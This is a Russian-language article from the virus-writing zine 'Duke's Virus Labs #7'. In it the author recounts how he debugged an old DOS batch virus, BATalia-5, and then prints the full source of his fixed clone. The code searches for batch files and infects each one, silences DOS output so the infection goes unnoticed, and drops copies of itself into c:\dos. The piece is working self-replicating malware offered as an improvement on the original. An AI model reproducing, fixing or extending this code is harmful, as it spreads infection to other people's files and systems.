- [Duke's Virus Labs #7] - [Page 03] - BAT.Batalia5.492 (c) by Duke/SMF Имя вируса : BAT.Batalia5.492 Автор : Duke/SMF (по стопам Reminder'а) Язык прогр. : Batch Дата создания : 02.05.99 На досуге решил посмотреть на старые добрые BAT-вирусы, написанные собратьями по клаве ;-) Первой под руку попалась BATalia-5 by Int O'Dream aka Reminder. Запустив ее в каталоге с BAT-пустышками я получил массу сообщений от DOS об ошибках и ни одного зараженного файла. :(( Да, подумал я, и как такое еще вирусом называется (по Касперскому - BAT.Batalia5.491)... Придется подправить ;) Так я и принялся писать bugfix. Для начала, чтобы раз и навсегда избавиться от сообщений DOS я заменил echo off => ctty nul echo on => ctty con Но после этого DOS всегда отказывался удалять файл z2 (из-за cttY Nul) и вирус ничего не заражал. Пришлось провести рокировочку : @ctty nul => @rem YYY rem YYY @ctty nul Одно из error-сообщений генерировалось командой del ??>l Ну как, скажите мне, DOS должен удалять файл l (который подпадает под маску "??") и одновременно выполнять вывод в него ??? С введением ctty nul вся необходимость в перенаправлениях ">l" отпала и я их удалил. После этого кое-что еще соптимизировал и подогнал размер файла ;-)) В итоге размер вырос на 1 байт, а качество повысилось. Хочу поблагодарить Reminder'а за такой хороший демонстрационный материал :) ===== Cut here ===== @rem YYY @ctty nul if "%1=="5 goto s for %%b in (*.bat) do call %0 5 %%b goto b :s copy %2 p echo NNN>>p echo 1>z1 echo 2>z2 echo 3>z3 del z? /p

b copy b a /a copy %2 t copy /b a+t %2 goto e :b echo rem >x copy x+x+x+x y copy y+y+y+y+y+y z echo @%%comspec%% nul /c copy c:\dos\y %%0>>z copy z c:\dos\x copy %0 c:\dos\y del ?? ctty con @copy c:\dos\x %0 >nul :e rem BAT.BATalia-5 bugfixed clone by Duke/SMF  ===== Cut here =====